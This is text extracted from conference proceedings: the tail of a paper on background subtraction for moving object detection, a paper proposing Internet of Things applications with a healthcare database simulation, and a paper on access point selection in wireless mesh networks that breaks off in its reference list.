4.1 Qualitative Analysis
The proposed method presents significant improvement in visual results which

clearly shows the strength in eliminating moving shadows, change in background
motion, and illumination. The visual results and qualitative evaluation reveals that
Fig. 2 Distance measure and pixel classification
Table 1 Qualitative performance analysis, row-wise: [1] Original Frame; [2] Ground Truth; [3]
Proposed [4] Zhou (DECOLOR); [5] Haque; [6] Stauffer
results are better than the considered state-of-the-art models over various frame
sequences as shown in Table 1.
4.2 Quantitative Analysis
In this section, the parameters (true positive (TP), false positive (FP), false negative
(FN), and true negatives (TN)) have been computed for performance measure. With
these parameters, precision, recall, and f-measure have been evaluated. For
Foreground Aperture frame sequence, [6] classifies maximum false-positives
whereas, proposed method gives minimum false positive error.
Precision can be defined as the no of pixels that are relevant whereas recall
shows the relevant pixels that are classified as foreground. The precision, recall and
f-measure [14] are given as:
• Precision = TP/(TP + FP);

• Recall = TP/(TP + FN);
• f-measure = 2 * (Precision * Recall)/(Precision + Recall);
The f-measure is used to measure the detection quality. The true positive rate
(TPR) depicts proportion of moving object’s pixel whereas false positive rate
(FPR) depicts proportion of static background pixel which was erroneously clas-
sified as part of foreground. The precision-recall and roc curve for all sequences
have been shown in Fig. 3. These metrics are evaluated as:
Fig. 3 a Column-1 Precision-recall curve. b Column-2 ROC curve; sequence row-wise:

(i) Camouflage, (ii) ForegroundAperture, (iii) Highway, (iv) Water Surface, (v) WavingTrees.
(Note Red color curve shows the proposed result)
• TPR = TP/(TP + FN);

• FPR = FP/(TN + FP);
The following observations have obtained from Table 1 and Fig. 3:
• The qualitative result shows improvement in performance of proposed work.
• The precision-recall curve (Fig. 3a) for ForegroundAperture, highway,
WaterSurface, and WavingTrees shows proposed method shows outranking
performance and in case of Camouflage sequence the average performance is
acceptable as compare to others.
• Maximum area under roc curve represents outranking performance of a method.
In Fig. 3b, the average performance of proposed method is acceptable as
compare to the considered state-of-the-art methods. In case of WavingTrees
sequence, proposed model gives outranking roc-analysis and handles moving
tree leaves in the background.
The proposed model is tested on various frame sequences and satisfactory results
were obtained. This work can be applicable in real-time visual
security-surveillance-based applications where static background and fixed camera
is used. Here, quasi-euclidian distance deliver better classification. Morphological
filters have removed the misclassification and improve the detection quality. The
area under curve depicts that roc curve of our improved method gives better per-
formance. The overall detection quality of our work is better against state-of-the-art
models.
In the further extension of this work, target-based object detection in real-time
thermal video sequences with complex scenes.
References
1. Bouwmans, T., Zahzah, E.: Robust PCA via principal component pursuit: a review for a
comparative evaluation in video surveillance. Comput. Vis. Image Underst. Elsevier 122, 22–
34 (2014)
2. Haines, T.S.F., Xiang, T.: Background subtraction with Dirichlet process mixture model. IEEE
Trans. PAMI 36(4), 670–683 (2014)
3. Lee, S., Lee, C.: Low-complexity background subtraction based on spatial similarity.
Eurasip J. Image Video Process. Springer 2014(1), 30 (2014)
4. Jung, C.R.: Efficient background subtraction and shadow removal for monochrome video
sequences. IEEE Trans. Multimedia 11(3), 571–577 (2009)
5. Stauffer, C., Grimson, W.E.L.: Adaptive background mixture models for real-time tracking. In:
Conference on Computer Vision and Pattern Recognition, vol. 2, pp. 246–252. IEEE
Computer Society, Fort Collins (1999)
6. Haque, M., Murshed, M., Paul, M.: On stable dynamic background generation technique using
Gaussian Mixture Models for robust object detection. In: 5th International Conference on
Advanced Video and Signal Based Surveillance, pp. 41–48. IEEE, New Mexico (2008)
7. Zhou, X., Yang, C., Yu, W.: Moving object detection by detecting contiguous outliers in the
low-rank representation. IEEE Trans. PAMI 35(3), 597–610 (2013)
8. Lee, D.S.: Effective Gaussian mixture learning for video background subtraction. IEEE Trans.
Pattern Anal. Mach. Intell. 27, 827–832 (2005)
9. Yadav, D.K.: Efficient method for moving object detection in cluttered background using
Gaussian Mixture Model. In: 3rd International Conference on Advances in Computing,
Communications and Informatics (ICACCI 2014), pp. 943–948. IEEE, India (2014)
10. Charles, P.L., Bilodeau, G.A., Bergevin, R.: Subsense: a universal change detection method
with local adaptive sensitivity. IEEE Trans. Image Process. 24(1), 359–373 (2015)
11. Khanna, A.N., Ghosh, R., Kumar, S., Das, A., Sardana, H.K.: Adaptive contour-based
statistical background subtraction method for moving target detection in infrared video
sequences. Infrared Phys. Technol. Elsevier 63, 103–109 (2014)
12. Goyette, N., Jodoin, P.M., Porikli, F., Ishwar, P.: Change detection—a new change detection
benchmark database. In: Proceedings of IEEE Workshop on Change Detection at CVPR,
pp. 1–8, USA (2012)
13. Toyama, K., Krumm, J., Brumitt, B., Meyers, B.: Wallflower: principles and practice of
background maintenance. In 7th International Conference on Computer Vision, pp. 255–261.
IEEE Computer Society Press, Greece (1999)
14. Yadav, D.K., Sharma, L.S., Bharti, S.K.: Moving object detection in real-time visual
surveillance using background subtraction technique. In: 14th International Conference on
Hybrid Intelligent Systems, pp. 79–84. IEEE, Kuwait (2014) (IEEE Catalog Number:
CFP14360-ART; ISBN: 978-1-4799-7633-1)
IoTA: Internet of Things Application
Abstract The world is changing, so is our lifestyle which is getting dependent on

the numerous electronic devices. The very idea of what would happen if these
entities start communicating with each other is enthralling and amazing. In this
paper we explore the world of IoT (Internet of Things) which is quite new and
unexplored. Today, many vendors are logging into this field and are designing new
and innovative hardware and software applications; so in the near future commu-
nication is bound to happen not only between electronic devices which are in LoS
(Line of Sight) but also between those devices that are located remotely and would
communicate with each other in a distributed computing domain using RPC
(Remote Procedure calls) in a client-server architecture environment. To our idea
and knowledge this is the first major foray into this domain and to make it happen
we have undertaken a case study of HMIS (Health care Management Information
System) and analyzed its results.
1 Introduction
We all know that the world is full of electronic gadgets such as computers, mobile
phones, televisions, refrigerator, geysers, automobiles, and numerous electronic
devices which rule our lives today. They all work/act in unison/unity; their indi-
vidual effects are amazing in terms of quality output, customer satisfaction, and
S. Ahuja (&) R. Johari C. Khokhar

USICT, GGSIP University, Dwarka, Delhi, India
e-mail: sachin.ahuja1992@gmail.com
R. Johari
e-mail: rahul@ipu.ac.in
C. Khokhar
e-mail: chetnakhokhar92@gmail.com

236 S. Ahuja et al.
their performance; but just imagine what their effect would be when these devices
would work with each other. The world of IoT (Internet of Things) and WoT (Web
of things) gives wings to our imagination to weave around the idea of D2D (Device
to Device) communication based on the principle of co-operation, co-ordination,
and camaraderie. The electrifying experience which the customer will get because
of this camaraderie would simply leave them spellbound. But as to how to make it
all happen in reality, IoT provides viable solutions for it. It answers many questions
that arise when we think of communication between devices. IoT is the next
evolution of the Internet where each physical object/thing is considered to be
embedded with software, sensors which are used to collect data and further data
analytics can be performed on these collected data from these sensors to deduce
important outcomes. We have explored many applications in detail in Sect. 4
wherein we discuss how our world will change if the devices around us start
recognizing and talking to each other. The remainder of the paper is organized as
follows: Sect. 2 discusses the motivation or inspiration behind pursuing the work on
IoT. Section 3 discusses the related work. Section 4 discusses the application(s) of
IoT. Section 5 deals with IoT-based sample case study on Healthcare Management
System. Section 6 discusses the results and the analysis of results, Sect. 7 discuss
the future of IoT and WoT. Section 8 discusses the conclusion and future work
followed by acknowledgement and references.
2 Motivation
IoT (Internet of things) is being adopted gradually for the purpose of enabling data
communication between different physical entities such as human beings, animals,
different electronic gadgets with embedded sensors or software(s) such that useful
information could be extracted from the data collected from these physical devices
and this knowledge could be further shared for creating new values for human
needs. Today, IoT is used in various fields such as healthcare applications, maps,
navigations, and in traffic camera where software installed in these cameras help to
collect data about different ongoing traffic activities such as number of accidents
and about all who are violating traffic rules. Such data can be collected and further
shared to bring out more innovative ideas to solve the problematic areas in the
traffic system. Similarly, for the wildlife sanctuary, IoT can be a boon in a way that
animals with sensors fitted on them can give information about their health system,
whether their immunity system is good or some health issues exist. These data can
be used to bring out changes in their daily routine, as to how these animals should
be given food, their living conditions, and thus help in providing better habitat
conditions especially for animals such as tiger, lions, etc., which are on the verge of
extinction.
Thus, motivating factors for including IoT in our day-to-day life are a collection
of more useful data about each physical device from various resources and sharing
IoTA: Internet of Things Application 237
of this data with millions of people all over this world over web in a faster way.
Thus, with these advantages IoT is fast becoming popular for application devel-
opment and interesting area for research.
3 Related Work
In [1] the author(s) describes and studies the state-of-the-art of IoT and presents the
key technological drivers, potential applications, challenges, and future research
areas in the domain of IoT. IoT definitions from different perspective in academic
and industry communities are discussed and compared. In [2] the author(s)
describes the integration of several technologies and communication solutions.
Identification and tracking technologies, wired and wireless sensor and actuator
networks, enhanced communication protocols (shared with the Next Generation
Internet), and distributed intelligence for smart objects. In [3] author(s) describes
how the connection of physical things to the internet makes it possible to access
remote sensor data and to control the physical world from a distance. They suggest
that novelty of the Internet-of-Things (IoT) is not in any new disruptive technology,
but in the pervasive deployment of smart objects. In [4] the author(s) through
practical experimentation and by prototyping many of the generations of smart
objects, identify three canonical smart-object types: activity-aware objects,
policy-aware objects, and process-aware objects. In [5] the author(s) analyze the
key technologies of Internet of Things, including RFID technology, sensor network
and detection technology, intelligent technology, and nanotechnology. In [6] the
author(s) proposes architecture for carrying out communication between the health
centers located in the rural remote areas using handheld devices and PDS, etc. In [7]
author(s) presents a routing approach, called Context-Aware Community Based
Routing (CACBR) to exploit the social-based movement pattern and the
context-awareness of nodes, for efficient message delivery in network. Such a
routing scheme can be used to share various type(s) of messages between different
nodes in IoT. In [8] the author(s) suggests a novel approach to route the message
between source to destination either using opportunistic contact or scheduled
contact. Such an approach can be customized to distribute the message(s) between
participating nodes in IoT in a more effective manner.
4 Applications of IoT
IoT is on the verge of its expansion and thus can lead to development of many
applications which can be beneficial in various fields including healthcare system
for human beings and animals, not only for living beings but for nonliving things,
238 S. Ahuja et al.
also such as electronic device discussed below. Some scenario(s) that can be
considered as applications of IOT are given below.
4.1 Unique Identifier
In a country like India, unique identifier is of great help as an individual has various
unique numbers for different purposes such as a voter id, PAN (permanent account
number) id, aadhar number, passport number, etc. The problem with these unique
ids is their management as these identities do not identify an individual globally.
Thus with IoT, every individual can be considered as a device with an id which is
unique for every individual in this world. This id can be seen as a series of binary
numbers where first three bits can be used to uniquely identify the country of the
individual (considering there can be maximum of 999 countries in the world), the
next two bits can be used to uniquely identify an individual’s state (considering
there are maximum of 99 states in any country), next two bits can be for the district
within the state considering maximum of 99 district can be there in a state and
similarly next 8 bits for house number, family, position in the family, and so on.
Thus with such a 15-bit number we can identify any individual over the world
(Fig. 1).
4.2 Detecting Nearest Charging Port
We have been using mobile phones for many years and they have been proved to be
a boon to humans but it comes with a problem of discharging. For its working, it is
required to be charged and it is not always possible to carry the charger for the
Fig. 1 Unique ID card

generation
device, plug it, and charge it. Often, we do not carry a charger or its port is not
always present nearby. So, with IoT we can come up with an idea that can solve this
problem of ours. Many times probability is ‘one’ that we are having a charged
source around us. The source can be another mobile source, a charging point or any
port that can provide us with power. So IoT involvement can be seen in a way that a
mobile phone can have an embedded sensor. Whenever the mobile phone runs out
of battery, the sensor automatically shows the battery status, that its battery is low,
immediately it starts scanning and start looking out for a device that has more
power than the searching device and is in the range (for example, let the searching
range be 100 m). The source can be another device or a charging port. As soon as
the search is complete, the device starts to borrow power from that source and starts
charging itself till the time the battery is full or the source is in range (Fig. 2).
4.3 Wireless Charging
Mobile phones can exchange media, files, applications, etc., through bluetooth
technology without being physically connected to another device. What if the
mobile phones are charged through this concept? What if the mobile phones are
charged without connecting to charger with a long wire which restricts a person to a
Fig. 2 Charging port detection
240 S. Ahuja et al.
Fig. 3 Wireless charging
particular area while charging his mobile phone and working on it simultaneously;
so with IoT it can be implemented in real-life. A charger and a mobile device can be
seen as device with sensor such that both can detect each other considering both are
in each others’ range. As soon as both detect each other the mobile hooks on to the
charging point (not physically through a long wire) and charges the mobile phone
wirelessly. Recently, Nokia came up with this concept of wireless charging (Fig. 3).
4.4 Remoteless Infrastructure (RLI)
Around us we find so many electronic gadgets which are a part of our daily life.
They complete our work faster and in a more efficient way. Whether it is a
microwave which helps in making delicious dishes, an AC in the room which can
save us from hot summers, or a TV which is a source of entertainment, all these
gadgets make life simple; but at the same time it is a hectic job operating these
gadgets with their remote controls and taking care that we do not lose them and end
up buying another one. Life would be simple if we could control all of these daily
routine devices with a single controlling device instead of using remote controls for
all of them individually. This is where we can apply IoT for solving our problem. In
today’s world, who does not carry a mobile phone? It has become a necessity today.
This mobile phone can be used here. Surely one would be thinking how. The
answer to it lies in using a printer. Like, for using a printer we need to download a
driver from the website, install it, integrate it, and after that a printer can be
connected to any device to perform printing operation. Thinking along parallel
lines, the mobile phone can similarly download the software for each of these
electronic gadgets and within a single mobile phone we can install as many
Fig. 4 Block diagram depicting remoteless infrastructure (RLI)
software as we want and thus, now our mobile phone act as remote control for these
gadgets and can be easily accessed. This not only makes our work easier but with
this we can also connect different devices with each other leading to heterogeneous
connectivity (Fig. 4).
4.5 Healthcare Management Information System (HCMIS)
One of the most significant applications of IoT is its applicability in Management of

Healthcare Services. We can apply the concept of IoT to manage the healthcare
services of a region, state, country, and continent or even across the globe. We can
have one global healthcare management system which can extract information,
establish patterns, and use these results to take future decision to prevent healthcare
hazards; if there can be any. In the sections that follow we describe our method-
ology to implement the healthcare system proposing a solution in the context of the
IoT framework.
5 IoT-Based Sample Case Study: HCMIS
Continuing with our previous application discussed in Sect. 4.5, we present our
methodology. We simulated the scenario using Java as a programming language
and used concepts of Java Programming and JDBC concepts to simulate the given
problem statement. The problem statement for our healthcare system is given
below:
242 S. Ahuja et al.
Assume we have to manage the health care system of a region. When a patient would come
to a doctor he should be examined for the disease he is suffering from, by using the
information conveyed by the sensors associated with Patient in minimal span of time, in the
most effective manner.
The solution for the problem statement given above is as below:

We propose a Health Care System (HCS) in which everything is automated. We have
databases for Doctors and Diseases which will become two of our main entities. Both
doctors and diseases have their own attributes. We have one more entity called Patients.
When a patient arrives a doctor for consultation, the doctor checks various parameters such
as temperature, blood pressure, etc., using sensors and enters the data in the form. For
example, if a person has a high temperature then he enters 1(one) for this symptom. In this
way all the symptoms are examined and either a 1 or a 0 is entered. All the records from
Disease table are accessed and the symptoms entered are matched with all the diseases. The
disease to which maximum symptoms are matched is the one which the patient is suffering
from, and hence the disease of patient gets diagnosed. The entries/records are entered into
two tables: Patient and HCS. In Patient table, personal information of a patient is stored and
HCS table(s) stores the id of the patient and the associated doctor as well as the id and name
of disease being diagnosed. The facility to update Disease and Patient table is also pro-
vided. One can apply various data mining techniques to the data present in HCS tables and
the results obtained can be used to predict future decision as and when required. The
snapshots of various form and table schema are shown in Tables 1, 2, and 3.
The work discussed above is pictorially summarized in Table 3.

The various steps of the procedure depicted by the above diagram are given
below:
Step-1: A patient approaches a doctor for diagnosis of his disease.
Step-2: The doctor examines the patient and fills a form. He then compares the data
extracted from form against the data stored in data repositories.
Step-3: The results of the query made in Step-2 are received by the doctor.
Step-4: If the results obtained in Step-3 are enough to diagnose the disease then
Step-5(a) and 5(b) are executed, otherwise more medical tests are required to be
taken and the procedure goes to execution of Step-6.
Step-5(a): In this step the doctor prescribes medicine to the patient.
Step-5(b): In this step, relevant changes are made into the database to reflect the
changes made due to the operations in step-5(a). All the information related to the
patient is stored in the database.
Step-6: If the results obtained in step-(3) are not enough to diagnose the diseases,
the patient undergoes additional medical tests.
Step-7(a): In this step the doctor prescribes medicine to the patient based on
combined results obtained from step-3 and step-(6).
Step-7(b): In this step, relevant changes are made into the database to reflect the
changes made due to the operations in Steps-(3), (6), and 7(a).
Table 1 Database snapshot
Snapshot description Snapshot
Disease table
Doctor table
IoTA: Internet of Things Application
Patient table
HCS table
243
Table 2 Snapshots of form to receive input in healthcare system
244
Form to input information of patient
(continued)
S. Ahuja et al.
Table 2 (continued)
246 S. Ahuja et al.
Table 3 Block diagram of HCMIS
Database Tables
Step-2
Step-1
Step-3
Step-4
Step
5(a)
Step-5(b)
Doctor is able to
Step
diagnose the disease
7(a) with the help of
result obtained from
Step-3.
Step 6
Medical
Step-7(b)
Laboratory
6 Result/Analysis of Results
To examine the practicability of IoT we simulated our application “Healthcare

Management Information System” using Java as a programming language. We
have also used the concepts of Java Database Connectivity to connect our appli-
cation programs to database designed in Microsoft Access. The application
developed by us is open source and it can be customized for a medical fraternity.
7 Future of Iot
The future of Internet of Things (IoT) and Web of Things (WoT) is going to be
extraordinary and amazing. In the near future, we may soon see the concrete
architecture and framework for the IoT to come up with different design principles
getting standardized so that different vendors and programmers can design new and
innovative apps to facilitate the communication between the hardware and software
devices.
During our course of research we identified various applications where the concepts
of IoT can be applied. We simulated one of these applications, namely “Healthcare
Information Management System (HCIMS)”. In the future we will be implementing
the rest of the applications discussed in Sect. 4 and we will also be working to
identify and implement other applications of IoT with the help of our knowledge
and the expertise of other hardware vendors. Though the area of IoT is evolving
devoid of any hardcore academic principles and architecture giving the develop-
ment community, researchers, and academicians to explore and develop new and
innovative applications.
Acknowledgments The author(s) would like to thank the administration of the GGSIP University
for providing rich academic and research oriented environment.
References
1. Bandyopadhyay, D., Sen, J.: Internet of things: applications and challenges in technology and
standardization. Wireless Pers. Commun. 58(1), 49–69 (2011)
2. Atzori, L., Iera, A., Morabito, G.: The internet of things: a survey. Comput. Netw. 54(15),
2787–2805 (2010)
3. Kopetz, H.: Internet of things. In: Real-Time Systems, 307–323. Springer US (2011)
4. Kortuem, G., et al.: Smart objects as building blocks for the internet of things. IEEE Internet
Comput. 14(1), 44–51 (2010)
5. Baoyun, W.: Review on internet of things. J. Electron. Meas. Instrum. 23(12), 1–7 (2009)
6. Johari, R., Gupta, N., Aneja, S.: POSOP routing algorithm: a DTN routing scheme for
information connectivity of health centres in Hilly State of North India. Int. J. Distrib. Sens.
Netw. (2015)
7. Johari, R., Gupta, N., Aneja, S.: CACBR: context aware community based routing for
intermittently connected network. In: Proceedings of the 10th ACM Symposium on
Performance Evaluation of Wireless Ad Hoc, Sensor, & Ubiquitous Networks. ACM (2013)
8. Johari, R., Gupta, N., Aneja, S.: DSG-PC: dynamic social grouping based routing for
non-uniform buffer capacities in DTN supported with periodic carriers. Quality, Reliability,
Security and Robustness in Heterogeneous Networks, pp. 1–15. Springer Berlin Heidelberg
(2013)
Improving Performance of Wireless
Mesh Networks Through User
Association Method
G. Vijaya Kumar and C. Shoba Bindu
Abstract IEEE 802.11-based wireless mesh networks (WMNs) are emerging as

the promising technology to provide last-mile broadband Internet access. A WMN
is composed of mesh clients (MCs) and mesh access points (MAPs). A mesh client
has to associate with one of the MAPs in order to access the network. Since the
client performance depends on the selected MAP, how to select a best MAP is an
open research problem. The traditional association mechanism used in WLAN, is
based on received signal strength (RSS) which received criticism in the literature as
it does not consider many important factors such as access point load, channel
conditions, medium contention, etc. This paper proposes a novel scheme of MAP
selection in WMNs. The basic idea is to reduce the negative impact of low
throughput clients over high throughput clients. The performance of our scheme is
evaluated through simulations and we show that our scheme performs better than
RSS-based association scheme.

Keywords IEEE 802.11 WMN MAP selection RSS association Performance
anomaly
1 Introduction
Nowadays, the IEEE 802.11-based wireless mesh networks (WMNs) [1] are
emerging as the promising technology to provide last-mile broadband Internet
access. A WMN consists of a set of mesh access points (MAPs) and mesh clients
(MCs). Sometimes MAPs are also called mesh routers (MRs). The MAPs are
G.V. Kumar (&)

G Pulla Reddy Engineering College, Kurnool, AP, India
e-mail: gvjykumar@ieee.org
C.S. Bindu
Jawaharlal Nehru Technological University, Anatapuramu, AP, India
e-mail: shobabindhu@gmail.com

250 G.V. Kumar and C.S. Bindu
connected together and self-organized themselves to form a wireless multi-hop

backhaul of the network. A few MAPs are connected to the Internet using wired
cables and are called gateways. In order to access the Internet via gateway, a mesh
client has to associate with one of the available MAPs in its vicinity. Since the user
performance depends on the selected MAP, how to select the best MAP is an
important research problem.
According to IEEE 802.11 standard [2], in WLAN, a client station (STA) selects
the access point (AP) based on received signal strength (RSS). This method works
fine when all the stations are uniformly distributed across the network. Since each
station greedily selects the AP to get higher performance, sooner or later the net-
work will have uneven load distribution among APs. A few APs are overloaded and
nearby other APs are lightly loaded or free. This nonuniform distribution of net-
work load causes degradation in system performance.
A lot of research work has been done to address the AP selection problem in
WLAN [3–7]. All these work cannot be used in WMN since the WMN architecture
is different from WLAN as shown in Figs. 1 and 2. In WLAN, the AP selection
metric is designed with the assumption of high-speed wired backbone. The WMN
has wireless multi-hop backhaul through which all the communication among MCs
or between the MC and Internet takes place. In WLAN, only the access link, the
wireless link between AP, and STA is the bottleneck, whereas in WMN the traffic
could be bottlenecked by either access link or by bandwidth-limited wireless
backhaul.
Most research studies [8–11] have shown that the consideration of wireless
backhaul quality along with access link quality improves the user performance in
WMN. Most of the previous work has been focused on improving the user per-
formance through various association metrics. To the best of our knowledge, the
consideration of one important factor, reducing the negative impact of low
throughput users over the other users already associated with the same MAP, is
missing in the previous work. With this observation, we have designed a novel
Fig. 1 Wireless LAN architecture
Improving Performance of Wireless Mesh Networks … 251
Fig. 2 WMN architecture
metric of MAP selection in WMN. We evaluate the performance of our MAP

selection method through simulations and show that it is better than RSS-based
association scheme.
The paper is organized as follows: Sect. 2 discusses briefly the related previous
work. The proposed work is presented in Sect. 3 and the evaluation work is
described in Sect. 4. Finally, Sect. 5 concludes the paper.
2 Related Work
As the default RSS-based association scheme is not efficient, most researchers have
presented various solutions from different aspects. Our previous work [12] presents
all the important factors to be considered while designing MAP selection in WMN.
In [4], the author proposed an AP selection metric based on MAC layer throughput
with parameters: number of stations, packet error rate, and data rates of stations
already associated. The author also proposed a simple algorithm to reduce the
negative impact of low throughput station over higher throughput stations already
associated. It needs to be mentioned that when some station using lower bit rate
associates with an AP, then it reduces the performance of higher-bit rate stations
that are already associated with the same AP [13]. The author in [7] presented a
method for AP selection by measuring throughput that a station can achieve from
specific Internet server but not from AP. Also, the author presented a metric to
handle the performance anomaly of multi-rate stations associated with same AP.
All the previous work presented so far is done in the context of WLANs. Our
work is closely related with [4, 7], but is extended to the WMN model.
To mention the related work in WMN, the authors in [8] designed two metrics:
LAETT (Load aware expected ransmission time) and CAETT (Contention aware
expected transmission time). Another method based on airtime cost metric is pre-
sented in [10, 11]. All these metrics suggest the client to select a MAP from which
it can get maximum end-to-end performance. As a result, a client may associate
with a MAP that is located far away and it uses lower bit rate for data transmission.
In turn, it leads to the decrement in the throughput of stations already associated
with that MAP and therefore overall system performance is degraded.
3 WMN System Model
The limitations of the previous work discussed in the last section motivate us to
design a novel metric for MAP selection in WMN.
3.1 Assumptions
As shown in Fig. 2, we consider an IEEE 802.11 WMN which is connected to the

Internet through wired cables. It consists of MAPs and stations (STAs). The MAPs
are connected together and self-organized themselves to form multi-hop wireless
backbone to relay the traffic among STAs or between an STA and the Internet
through some gateway MAPs. In order to access the Internet an STA has to
associate with one MAP. Each STA has one wireless network interface whereas a
MAP has two interfaces operated one in infrastructure mode and other interface in
ad hoc mode. These two interfaces are operated in orthogonal channels so that an
STA traffic is not interfered with backhaul routing data. Moreover, adjacent MAPs
are configured to operate on different channels to reduce the co-channel interfer-
ence. The purpose of most users in associating with an access point is connecting to
the Internet network and transmitting data over it. In fact, the important point is
achieving a better throughput from the Internet. Taking this point into consideration
and according to [4, 7], we measure throughput of the STA from the nearest
gateway in WMN.
According to IEEE 802.11 MAC mechanism, the transmission time tT of a
packet of size s bits is given as
s
tT ¼ tRTS þ tCTS þ þ tACK þ tDIFS þ 3 tSIFS þ tBO ð1Þ
r
where r is data transmission rate in bits per second and tBO is backoff time.
In order to measure the wireless link quality between STA, si and MAP aj, we
use frame error rate, ea,i as the ratio of number of frames not transmitted success-
fully to the total number of frames transmitted.
Let Nj be the number of STAs associated with MAP aj. If ri,j is the data
transmission rate between STA si and its associated MAP aj, then average
throughput of each station is
1Xn1
ri;j ð1 ei;j Þ
Thbefore ¼ ð2Þ
n i¼0 tT Nj
Each MAP aj calculates Thbefore and sends it to a new STA sk through modified
beacon or probe response frames. Each MAP aj is able to calculate its path to a
gateway and provides backhaul cost, Cbl to STAs so that they can select a MAP to
get high end-to-end throughput. Therefore, it is required that the MAP aj also sends
wireless backhaul cost Cbl to the STA sk in addition to Nj.
From each available MAP aj, a new station sk receives the required information
such as Nj, Thbefore, and Cbl. Then it calculates average throughput that is likely to
achieve from MAP aj as
(Thbefore Nj Þ þ ðrk;j ð1 ek;j ÞÞ

Thafter ¼ þ Cbl ð3Þ
ðNj þ 1Þ
The station sk can locally measure rk,j and ek,j using received signal strength of
beacon or probe response frames or periodic probing.
It needs to be mentioned that when a new node tries to associate with a MAP, it
may decrease the throughput of other nodes, which have been already associated
with that MAP [13]. Hence, the new node has to select a MAP in order to minimize
this negative influence. So a new node sk calculates total association cost,
Thafter
wmn
Ck;j ¼ ð4Þ
Thbefore Thafter
wmn
to each MAP available and selects the MAP with highest Ck;j value.
3.2 Algorithm
1. A new STA, sk, scans all the channels to find the MAPs available in its vicinity.
2. To each available MAP aj, the STA sk sends probe request frame with the
address of intended destination STA or Internet portal.
3. Then the MAP aj responds with beacon or probe response frame with the
information Thbefore, Nj, and Cbl.
4. The STA sk extracts all the required information and calculates total association
wmn
cost, Ck;j , to reach the gateway from each MAP aj available.
5. Finally, the STA sk selects the MAP aj with maximum total association cost
wmn
Ck;j .
4 Performance Evaluation
We have used NCTUns 6.0 Simulator [14] to analyze the performance of proposed
method. NCTUns is a high-fidelity network simulator and emulator. By using a
novel kernel re-entering simulation methodology, it provides many unique
advantages over traditional network simulators and emulators. We consider a
simple simulation topology as shown in Fig. 3. We consider an IEEE 802.11b
WMN with 9 MAPs that are uniformly distributed in 500 m × 500 m area.
The WMN is connected to Internet via gateway. We consider simple channel model
in which the data rate of an STA depends on the distance between MAP and STA.
Accordingly, the data rates of STAs, 11, 5.5, 2, and 1 Mbps are in the range of 80,
150, 200, and 250 m respectively. Each MAP is running open shortest path first
(OSPF) routing protocol with default routing metric hop count. Each MAP has two
wireless interfaces operating at orthogonal channels so that a STA data can’t be
interfered with backhaul routing data. Also we use UDP saturated traffic with
packet size 1000 bytes from all STAs to the Internet.
As shown in Fig. 3, the client nodes N1 and N2 are associated with MAP1. Also,
they are placed at the same distance from MAP1. Similarly, two more client nodes
N3 and N4 are associated with the MAP4 such that the node N4 is farther away
from MAP4, whereas the distance between N3 and MAP4 is the same as the
distance between N1 and MAP1. Clearly, the nodes N1, N2 and N3 are using same
bit-rate access links whereas the node N4 is using lower bit-rate link. Now a new
Fig. 3 WMN simulation scenario
Table 1 Simulation results

MAP Thbefore Thafter Association Overall system Overall system
wmn
(KBps) (KBps) cost Ck;j throughput (KBps) throughput (KBps)
before N5 association after N5 association
1 370 207 1.27 263 186
4 156 130 5.00 226
client node N5 wants to join the network. Assume that N5 is also at the same
distance from both MAP1 and MAP4. It needs to be mentioned that before being
associated with a MAP, the throughputs of all clients of that MAP are the same.
Therefore, we measure the throughput of each node already associated. Based on
this strategy, we calculate the difference between the throughput of nodes before
being associated and the achieved throughput of new node during the association
procedure. The simulation results are presented in Table 1. The values are averaged
over 5 simulation runs. Each simulation runs for 100 s.
During association procedure, the node N5 extracts the information Thbefore from
MAP1 and MAP4 as 370 and 156 KBps respectively. Also, it measures the
achieved throughput Thafter from MAP1 and MAP4 as 207 and 130 KBps
respectively. According to [8, 10, 11], the node N5 has to select MAP1 as it
provides higher end-to-end throughput. But our method suggests to select MAP4 as
it improves not only the user throughput but also the overall system throughput.
Since the nodes N3 and N4 are already achieving low throughput compared to N1
and N2, the overall system throughput is not much affected by N5 association with
MAP4; however, it is much affected when N5 associates with MAP1 though the
node N5 can achieve higher throughput but at cost of larger negative impact on
other nodes, N1 and N2, associated with MAP1.
Our method selects the MAP which has a higher association cost. Therefore, in
this scenario our method chooses MAP4.
Figures 4, 5, 6, and 7 show average throughput of each station before and after
association of node N5 with MAP1 and MAP4.
Fig. 4 Thbefore of MAP1
Fig. 5 Thafter of MAP1
Fig. 6 Thbefore of MAP4
Fig. 7 Thafter of MAP4
5 Conclusions
In WMN, selection of the best MAP is one of the important factors to improve user
performance. As the conventional association mechanism which is defined by IEEE
802.11 standard has limitations, this paper proposes a simple solution for the MAP
selection problem in WMN. The user always wants to experience the best perfor-
mance while using the Internet through WMN. At the same time it is also important
not to degrade the performance of other users on the network. In this regard, our
method selects a MAP that can reduce the negative impact of low throughput nodes
over high throughput nodes in the network. It is shown through simple simulations
that our method performs better than RSS-based association scheme. Our work
suggests to consider the fact to minimize the negative impact of low throughput
nodes over high throughput nodes while designing MAP selection method in
WMNs.
As in the future work, further analysis is required for our method as the impact of
packet size, hop count, link quality, multichannel and multi-radio routing protocols,
WMN routing metrics such as ETX, ETT, etc., are not considered in this work.
References
1. Akyildiz, I.F., Wang, X.: A survey on wireless mesh networks. IEEE Commun. Mag. 43(9),
23–30 (2005)
2. Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specification: IEEE
Std. 802.11 (1997)
3. Papanikos, I., Logothetis, M.: A study on dynamic load balance for IEEE 802.11b wireless
LAN. In: Proceedings of COMCON (2001)
4. Fukuda, Y., Abe, T., Oie, Y.: Decentralized access point selection architecture for wireless
LANs. In: Wireless Telecommunications Symposium, pp. 137–145 (2004)
5. Velayos, H., Aleo, V., Karlsson, G.: Load balancing in overlapping wireless LAN cells. In:
International Conference on IEEE Communications, pp. 3833–3836 (2004)
6. Vasudevan, S., Papagiannaki, K., Diot, C., Kurose, J., Towsley, D.: Facilitating access point
selection in IEEE 802.11 wireless networks. In: Proceedings of the 5th ACM SIGCOMM
Conference on Internet Measurement (2005)
7. Ghazisaeedi, E., Zokaei, S.: A Method for Access Point Selection in 802.11 Networks.
NDT09, Ostrava, (2009)
8. Luo, L., Raychaudhuri, D., Liu, H., Wu, M., Li, D.: Improving end-to-end performance of
wireless mesh networks through smart association. In: Wireless Communications and
Networking Conference, pp. 2087–2092 (2008)
9. Pin, L., Yingwen, C., Wei, X., Ming, X.: A cross-layer scheme for access point selection in
wireless mesh networks. In: 6th International Conference on Wireless Communications
Networking and Mobile Computing (WiCOM), pp. 1–5 (2010)
10. Athanasiou, G., Thanasis, K., Ozgur, E., Leandros, T.: A cross-layer framework for
